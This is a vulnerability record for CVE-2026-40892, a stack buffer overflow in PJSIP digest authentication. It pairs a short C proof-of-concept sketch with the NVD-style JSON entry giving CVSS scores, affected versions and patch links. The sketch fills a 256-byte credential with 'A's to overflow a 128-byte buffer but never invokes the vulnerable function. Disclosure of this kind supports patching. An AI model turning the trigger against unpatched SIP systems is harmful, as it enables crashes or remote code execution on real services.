CVE-2026-40892

/* * PoC Concept for CVE-2026-40892 * This demonstrates how to trigger the buffer overflow * by setting a long digest credential. */ #include <pjsip.h> #include <pjlib.h> void trigger_overflow() { pjsip_cred_info cred_info; pj_bzero(&cred_info, sizeof(cred_info)); // Set the scheme to PJSIP_CRED_DATA_DIGEST (pre-computed digest) cred_info.data_type = PJSIP_CRED_DATA_DIGEST; // Create a payload longer than 128 bytes (ha1 buffer size) // This will overflow the stack buffer in pjsip_auth_create_digest2 char overflow_data[256]; memset(overflow_data, 'A', sizeof(overflow_data) - 1); overflow_data[sizeof(overflow_data) - 1] = '\0'; // Assign the malicious data to the credential info // The function will use cred_info->data.slen (256) as copy length pj_strdup2(pjsip_pool_create_default(), &cred_info.data, overflow_data); // When the library attempts to use this credential, // the overflow occurs in pjsip_auth_create_digest2(). printf("Payload prepared with length: %d\n", cred_info.data.slen); }

{"cve": {"id": "CVE-2026-40892", "sourceIdentifier": "[email protected]", "published": "2026-04-21T21:16:44.153", "lastModified": "2026-04-23T16:07:18.487", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "PJSIP is a free and open source multimedia communication library written in C. In 2.16 and earlier, a stack buffer overflow exists in pjsip_auth_create_digest2() in PJSIP when using pre-computed digest credentials (PJSIP_CRED_DATA_DIGEST). The function copies credential data using cred_info->data.slen as the length without an upper-bound check, which can overflow the fixed-size ha1 stack buffer (128 bytes) if data.slen exceeds the expected digest string length."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:U/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "UNREPORTED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-121"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:pjsip:pjsip:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.17", "matchCriteriaId": "117AFEC4-36E1-424F-B2A3-6EC94FBBDF38"}]}]}], "references": [{"url": "https://github.com/pjsip/pjproject/commit/c82123ea6f3c3652bbc9ebd5e9e658c301451687", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/pjsip/pjproject/security/advisories/GHSA-2wcg-w3c4-48r7", "source": "[email protected]", "tags": ["Mitigation", "Patch", "Vendor Advisory"]}]}}